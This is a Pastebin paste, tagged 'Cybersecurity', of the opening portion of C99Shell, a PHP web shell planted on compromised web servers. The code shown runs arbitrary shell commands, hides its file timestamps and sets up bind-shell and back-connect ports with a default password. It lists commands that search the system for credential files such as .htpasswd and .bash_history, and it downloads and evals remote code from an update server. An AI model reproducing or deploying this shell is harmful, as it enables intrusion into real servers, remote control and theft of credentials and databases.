FlyFar

C99Shell v. 1.0 pre-release build (Safe-mode)

Feb 9th, 2024
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 161.63 KB | Cybersecurity | 0 0
  1. <?php
  2. //Starting calls
  3. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  4. error_reporting(5);
  5. @ignore_user_abort(TRUE);
  6. @set_magic_quotes_runtime(0);
  7. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  8. define("starttime",getmicrotime());
  9. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  10. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  11. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  12.  
  13. $shver = "1.0 pre-release build #16"; //Current version
  14. //CONFIGURATION AND SETTINGS
  15. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  16. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  17. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  18. }
  19.  
  20. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  21.  
  22. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  23. if (empty($surl))
  24. {
  25.  $surl = "?".$includestr; //Self url
  26. }
  27. $surl = htmlspecialchars($surl);
  28.  
  29. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  30.  
  31. //Authentication
  32. $login = ""; //login
  33. //DON'T FORGOT ABOUT PASSWORD!!!
  34. $pass = ""; //password
  35. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  36.  
  37. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  38. $login_txt = "Restricted area"; //http-auth message.
  39. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  40.  
  41. $gzipencode = TRUE; //Encode with gzip?
  42.  
  43. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  44.  
  45. $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
  46. $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  47.  
  48. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  49.  
  50. $donated_html = "";
  51. /* If you publish free shell and you wish
  52. add link to your site or any other information,
  53. put here your html. */
  54. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  55.  
  56. $curdir = "./"; //start folder
  57. //$curdir = getenv("DOCUMENT_ROOT");
  58. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  59. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  60.  
  61. $log_email = "user@host.tld"; //Default e-mail for sending logs
  62.  
  63. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  64. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  65.  
  66. // Registered file-types.
  67. //  array(
  68. //   "{action1}"=>array("ext1","ext2","ext3",...),
  69. //   "{action2}"=>array("ext4","ext5","ext6",...),
  70. //   ...
  71. //  )
  72. $ftypes  = array(
  73.  "html"=>array("html","htm","shtml"),
  74.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  75.  "exe"=>array("sh","install","bat","cmd"),
  76.  "ini"=>array("ini","inf"),
  77.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  78.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  79.  "sdb"=>array("sdb"),
  80.  "phpsess"=>array("sess"),
  81.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  82. );
  83.  
  84. // Registered executable file-types.
  85. //  array(
  86. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  87. //   ...
  88. //  )
  89. //   {command}: %f% = filename
  90. $exeftypes  = array(
  91.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  92.  "perl %f%" => array("pl","cgi")
  93. );
  94.  
  95. /* Highlighted files.
  96.   array(
  97.    i=>array({regexp},{type},{opentag},{closetag},{break})
  98.    ...
  99.   )
  100.   string {regexp} - regular exp.
  101.   int {type}:
  102. 0 - files and folders (as default),
  103. 1 - files only, 2 - folders only
  104.   string {opentag} - open html-tag, e.g. "<b>" (default)
  105.   string {closetag} - close html-tag, e.g. "</b>" (default)
  106.   bool {break} - if TRUE and found match then break
  107. */
  108. $regxp_highlight  = array(
  109.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  110.   array("config.php",1) // example
  111. );
  112.  
  113. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  114.  // array (i=>{letter} ...); string {letter} - letter of a drive
  115. //$safemode_diskettes = range("a","z");
  116. $hexdump_lines = 8;// lines in hex preview file
  117. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  118.  
  119. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  120.  
  121. $bindport_pass = "c99";  // default password for binding
  122. $bindport_port = "31373"; // default port for binding
  123. $bc_port = "31373"; // default port for back-connect
  124. $datapipe_localport = "8081"; // default port for datapipe
  125.  
  126. // Command-aliases
  127. if (!$win)
  128. {
  129.  $cmdaliases = array(
  130.   array("-----------------------------------------------------------", "ls -la"),
  131.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  132.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  133.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  134.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  135.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  136.   array("find config* files", "find / -type f -name \"config*\""),
  137.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  138.   array("find all writable folders and files", "find / -perm -2 -ls"),
  139.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  140.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  141.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  142.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  143.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  144.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  145.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  146.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  147.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  148.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  149.   array("show opened ports", "netstat -an | grep -i listen")
  150.  );
  151. }
  152. else
  153. {
  154.  $cmdaliases = array(
  155.   array("-----------------------------------------------------------", "dir"),
  156.   array("show opened ports", "netstat -an")
  157.  );
  158. }
  159.  
  160. $sess_cookie = "c99shvars"; // Cookie-variable name
  161.  
  162. $usefsbuff = TRUE; //Buffer-function
  163. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  164.  
  165. //Quick launch
  166. $quicklaunch = array(
  167.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  168.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  169.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  170.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  171.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  172.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  173.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  174.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  175.  array("<b>Tools</b>",$surl."act=tools&d=%d"),
  176.  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  177.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  178.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  179.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  180.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  181.  array("<b>Update</b>",$surl."act=update&d=%d"),
  182.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  183.  array("<b>Self remove</b>",$surl."act=selfremove"),
  184.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  185. );
  186.  
  187. //Highlight-code colors
  188. $highlight_background = "#c0c0c0";
  189. $highlight_bg = "#FFFFFF";
  190. $highlight_comment = "#6A6A6A";
  191. $highlight_default = "#0000BB";
  192. $highlight_html = "#1300FF";
  193. $highlight_keyword = "#007700";
  194. $highlight_string = "#000000";
  195.  
  196. @$f = $_REQUEST["f"];
  197. @extract($_REQUEST["c99shcook"]);
  198.  
  199. //END CONFIGURATION
  200.  
  201.  
  202. // \/Next code isn't for editing\/
  203. @set_time_limit(0);
  204. $tmp = array();
  205. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  206. $s = "!^(".implode("|",$tmp).")$!i";
  207. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  208. if (!empty($login))
  209. {
  210.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  211.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  212.  {
  213.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  214.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  215.   header("HTTP/1.0 401 Unauthorized");
  216.   exit($accessdeniedmess);
  217.  }
  218. }
  219. if ($act != "img")
  220. {
  221. $lastdir = realpath(".");
  222. chdir($curdir);
  223. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  224. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  225. if (!is_array($sess_data)) {$sess_data = array();}
  226. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  227. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  228.  
  229. $disablefunc = @ini_get("disable_functions");
  230. if (!empty($disablefunc))
  231. {
  232.  $disablefunc = str_replace(" ","",$disablefunc);
  233.  $disablefunc = explode(",",$disablefunc);
  234. }
  235.  
  236. if (!function_exists("c99_buff_prepare"))
  237. {
  238. function c99_buff_prepare()
  239. {
  240.  global $sess_data;
  241.  global $act;
  242.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  243.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  244.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  245.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  246.  sort($sess_data["copy"]);
  247.  sort($sess_data["cut"]);
  248.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  249.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  250. }
  251. }
  252. c99_buff_prepare();
  253. if (!function_exists("c99_sess_put"))
  254. {
  255. function c99_sess_put($data)
  256. {
  257.  global $sess_cookie;
  258.  global $sess_data;
  259.  c99_buff_prepare();
  260.  $sess_data = $data;
  261.  $data = serialize($data);
  262.  setcookie($sess_cookie,$data);
  263. }
  264. }
  265. foreach (array("sort","sql_sort") as $v)
  266. {
  267.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  268.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  269. }
  270. if ($sort_save)
  271. {
  272.  if (!empty($sort)) {setcookie("sort",$sort);}
  273.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  274. }
  275. if (!function_exists("str2mini"))
  276. {
  277. function str2mini($content,$len)
  278. {
  279.  if (strlen($content) > $len)
  280.  {
  281.   $len = ceil($len/2) - 2;
  282.   return substr($content, 0,$len)."...".substr($content,-$len);
  283.  }
  284.  else {return $content;}
  285. }
  286. }
  287. if (!function_exists("view_size"))
  288. {
  289. function view_size($size)
  290. {
  291.  if (!is_numeric($size)) {return FALSE;}
  292.  else
  293.  {
  294.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  295.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  296.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  297.   else {$size = $size . " B";}
  298.   return $size;
  299.  }
  300. }
  301. }
  302. if (!function_exists("fs_copy_dir"))
  303. {
  304. function fs_copy_dir($d,$t)
  305. {
  306.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  307.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  308.  $h = opendir($d);
  309.  while (($o = readdir($h)) !== FALSE)
  310.  {
  311.   if (($o != ".") and ($o != ".."))
  312.   {
  313.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  314.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  315.    if (!$ret) {return $ret;}
  316.   }
  317.  }
  318.  closedir($h);
  319.  return TRUE;
  320. }
  321. }
  322. if (!function_exists("fs_copy_obj"))
  323. {
  324. function fs_copy_obj($d,$t)
  325. {
  326.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  327.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  328.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  329.  if (is_dir($d))
  330.  {
  331.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  332.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  333.   return fs_copy_dir($d,$t);
  334.  }
  335.  elseif (is_file($d)) {return copy($d,$t);}
  336.  else {return FALSE;}
  337. }
  338. }
  339. if (!function_exists("fs_move_dir"))
  340. {
  341. function fs_move_dir($d,$t)
  342. {
  343.  $h = opendir($d);
  344.  if (!is_dir($t)) {mkdir($t);}
  345.  while (($o = readdir($h)) !== FALSE)
  346.  {
  347.   if (($o != ".") and ($o != ".."))
  348.   {
  349.    $ret = TRUE;
  350.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  351.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  352.    if (!$ret) {return $ret;}
  353.   }
  354.  }
  355.  closedir($h);
  356.  return TRUE;
  357. }
  358. }
  359. if (!function_exists("fs_move_obj"))
  360. {
  361. function fs_move_obj($d,$t)
  362. {
  363.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  364.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  365.  if (is_dir($d))
  366.  {
  367.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  368.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  369.   return fs_move_dir($d,$t);
  370.  }
  371.  elseif (is_file($d))
  372.  {
  373.   if(copy($d,$t)) {return unlink($d);}
  374.   else {unlink($t); return FALSE;}
  375.  }
  376.  else {return FALSE;}
  377. }
  378. }
  379. if (!function_exists("fs_rmdir"))
  380. {
  381. function fs_rmdir($d)
  382. {
  383.  $h = opendir($d);
  384.  while (($o = readdir($h)) !== FALSE)
  385.  {
  386.   if (($o != ".") and ($o != ".."))
  387.   {
  388.    if (!is_dir($d.$o)) {unlink($d.$o);}
  389.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  390.   }
  391.  }
  392.  closedir($h);
  393.  rmdir($d);
  394.  return !is_dir($d);
  395. }
  396. }
  397. if (!function_exists("fs_rmobj"))
  398. {
  399. function fs_rmobj($o)
  400. {
  401.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  402.  if (is_dir($o))
  403.  {
  404.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  405.   return fs_rmdir($o);
  406.  }
  407.  elseif (is_file($o)) {return unlink($o);}
  408.  else {return FALSE;}
  409. }
  410. }
  411. if (!function_exists("myshellexec"))
  412. {
  413. function myshellexec($cmd)
  414. {
  415.  global $disablefunc;
  416.  $result = "";
  417.  if (!empty($cmd))
  418.  {
  419.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  420.   elseif (($result = `$cmd`) !== FALSE) {}
  421.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  422.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  423.   elseif (is_resource($fp = popen($cmd,"r")))
  424.   {
  425.    $result = "";
  426.    while(!feof($fp)) {$result .= fread($fp,1024);}
  427.    pclose($fp);
  428.   }
  429.  }
  430.  return $result;
  431. }
  432. }
  433. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  434. if (!function_exists("view_perms"))
  435. {
  436. function view_perms($mode)
  437. {
  438.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  439.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  440.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  441.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  442.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  443.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  444.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  445.  else {$type = "?";}
  446.  
  447.  $owner["read"] = ($mode & 00400)?"r":"-";
  448.  $owner["write"] = ($mode & 00200)?"w":"-";
  449.  $owner["execute"] = ($mode & 00100)?"x":"-";
  450.  $group["read"] = ($mode & 00040)?"r":"-";
  451.  $group["write"] = ($mode & 00020)?"w":"-";
  452.  $group["execute"] = ($mode & 00010)?"x":"-";
  453.  $world["read"] = ($mode & 00004)?"r":"-";
  454.  $world["write"] = ($mode & 00002)? "w":"-";
  455.  $world["execute"] = ($mode & 00001)?"x":"-";
  456.  
  457.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  458.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  459.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  460.  
  461.  return $type.join("",$owner).join("",$group).join("",$world);
  462. }
  463. }
  464. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  465. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  466. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  467. if (!function_exists("parse_perms"))
  468. {
  469. function parse_perms($mode)
  470. {
  471.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  472.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  473.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  474.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  475.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  476.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  477.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  478.  else {$t = "?";}
  479.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  480.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  481.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  482.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  483. }
  484. }
  485. if (!function_exists("parsesort"))
  486. {
  487. function parsesort($sort)
  488. {
  489.  $one = intval($sort);
  490.  $second = substr($sort,-1);
  491.  if ($second != "d") {$second = "a";}
  492.  return array($one,$second);
  493. }
  494. }
  495. if (!function_exists("view_perms_color"))
  496. {
  497. function view_perms_color($o)
  498. {
  499.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  500.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  501.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  502. }
  503. }
  504. if (!function_exists("c99getsource"))
  505. {
  506. function c99getsource($fn)
  507. {
  508.  global $c99sh_sourcesurl;
  509.  $array = array(
  510.   "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  511.   "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  512.   "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  513.   "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  514.   "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  515.   "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  516.  );
  517.  $name = $array[$fn];
  518.  if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
  519.  else {return FALSE;}
  520. }
  521. }
  522. if (!function_exists("c99sh_getupdate"))
  523. {
  524. function c99sh_getupdate($update = TRUE)
  525. {
  526.  $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  527.  $data = @file_get_contents($url);
  528.  if (!$data) {return "Can't connect to update-server!";}
  529.  else
  530.  {
  531.   $data = ltrim($data);
  532.   $string = substr($data,3,ord($data{2}));
  533.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  534.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  535.   if ($data{0} == "\x99" and $data{1} == "\x03")
  536.   {
  537.    $string = explode("\x01",$string);
  538.    if ($update)
  539.    {
  540.     $confvars = array();
  541.     $sourceurl = $string[0];
  542.     $source = file_get_contents($sourceurl);
  543.     if (!$source) {return "Can't fetch update!";}
  544.     else
  545.     {
  546.      $fp = fopen(__FILE__,"w");
  547.      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  548.      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  549.     }
  550.    }
  551.    else {return "New version are available: ".$string[1];}
  552.   }
  553.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  554.   else {return "Error in protocol: segmentation failed! (".$data.") ";}
  555.  }
  556. }
  557. }
  558. if (!function_exists("mysql_dump"))
  559. {
  560. function mysql_dump($set)
  561. {
  562.  global $shver;
  563.  $sock = $set["sock"];
  564.  $db = $set["db"];
  565.  $print = $set["print"];
  566.  $nl2br = $set["nl2br"];
  567.  $file = $set["file"];
  568.  $add_drop = $set["add_drop"];
  569.  $tabs = $set["tabs"];
  570.  $onlytabs = $set["onlytabs"];
  571.  $ret = array();
  572.  $ret["err"] = array();
  573.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  574.  if (empty($db)) {$db = "db";}
  575.  if (empty($print)) {$print = 0;}
  576.  if (empty($nl2br)) {$nl2br = 0;}
  577.  if (empty($add_drop)) {$add_drop = TRUE;}
  578.  if (empty($file))
  579.  {
  580.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  581.  }
  582.  if (!is_array($tabs)) {$tabs = array();}
  583.  if (empty($add_drop)) {$add_drop = TRUE;}
  584.  if (sizeof($tabs) == 0)
  585.  {
  586.   // retrive tables-list
  587.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  588.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  589.  }
  590.  $out = "# Dumped by C99Shell.SQL v. ".$shver."
  591. # Home page: http://ccteam.ru
  592. #
  593. # Host settings:
  594. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  595. # Date: ".date("d.m.Y H:i:s")."
  596. # DB: \"".$db."\"
  597. #---------------------------------------------------------
  598. ";
  599.  $c = count($onlytabs);
  600.  foreach($tabs as $tab)
  601.  {
  602.   if ((in_array($tab,$onlytabs)) or (!$c))
  603.   {
  604.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  605.    // recieve query for create table structure
  606.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  607.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  608.    else
  609.    {
  610.     $row = mysql_fetch_row($res);
  611.     $out .= $row["1"].";\n\n";
  612.     // recieve table variables
  613.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  614.     if (mysql_num_rows($res) > 0)
  615.     {
  616.      while ($row = mysql_fetch_assoc($res))
  617.      {
  618.       $keys = implode("`, `", array_keys($row));
  619.       $values = array_values($row);
  620.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  621.       $values = implode("', '", $values);
  622.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  623.       $out .= $sql;
  624.      }
  625.     }
  626.    }
  627.   }
  628.  }
  629.  $out .= "#---------------------------------------------------------------------------------\n\n";
  630.  if ($file)
  631.  {
  632.   $fp = fopen($file, "w");
  633.   if (!$fp) {$ret["err"][] = 2;}
  634.   else
  635.   {
  636.    fwrite ($fp, $out);
  637.    fclose ($fp);
  638.   }
  639.  }
  640.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  641.  return $out;
  642. }
  643. }
  644. if (!function_exists("mysql_buildwhere"))
  645. {
  646. function mysql_buildwhere($array,$sep=" and",$functs=array())
  647. {
  648.  if (!is_array($array)) {$array = array();}
  649.  $result = "";
  650.  foreach($array as $k=>$v)
  651.  {
  652.   $value = "";
  653.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  654.   $value .= "'".addslashes($v)."'";
  655.   if (!empty($functs[$k])) {$value .= ")";}
  656.   $result .= "`".$k."` = ".$value.$sep;
  657.  }
  658.  $result = substr($result,0,strlen($result)-strlen($sep));
  659.  return $result;
  660. }
  661. }
  662. if (!function_exists("mysql_fetch_all"))
  663. {
  664. function mysql_fetch_all($query,$sock)
  665. {
  666.  if ($sock) {$result = mysql_query($query,$sock);}
  667.  else {$result = mysql_query($query);}
  668.  $array = array();
  669.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  670.  mysql_free_result($result);
  671.  return $array;
  672. }
  673. }
  674. if (!function_exists("mysql_smarterror"))
  675. {
  676. function mysql_smarterror($type,$sock)
  677. {
  678.  if ($sock) {$error = mysql_error($sock);}
  679.  else {$error = mysql_error();}
  680.  $error = htmlspecialchars($error);
  681.  return $error;
  682. }
  683. }
  684. if (!function_exists("mysql_query_form"))
  685. {
  686. function mysql_query_form()
  687. {
  688.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  689.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  690.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  691.  if ((!$submit) or ($sql_act))
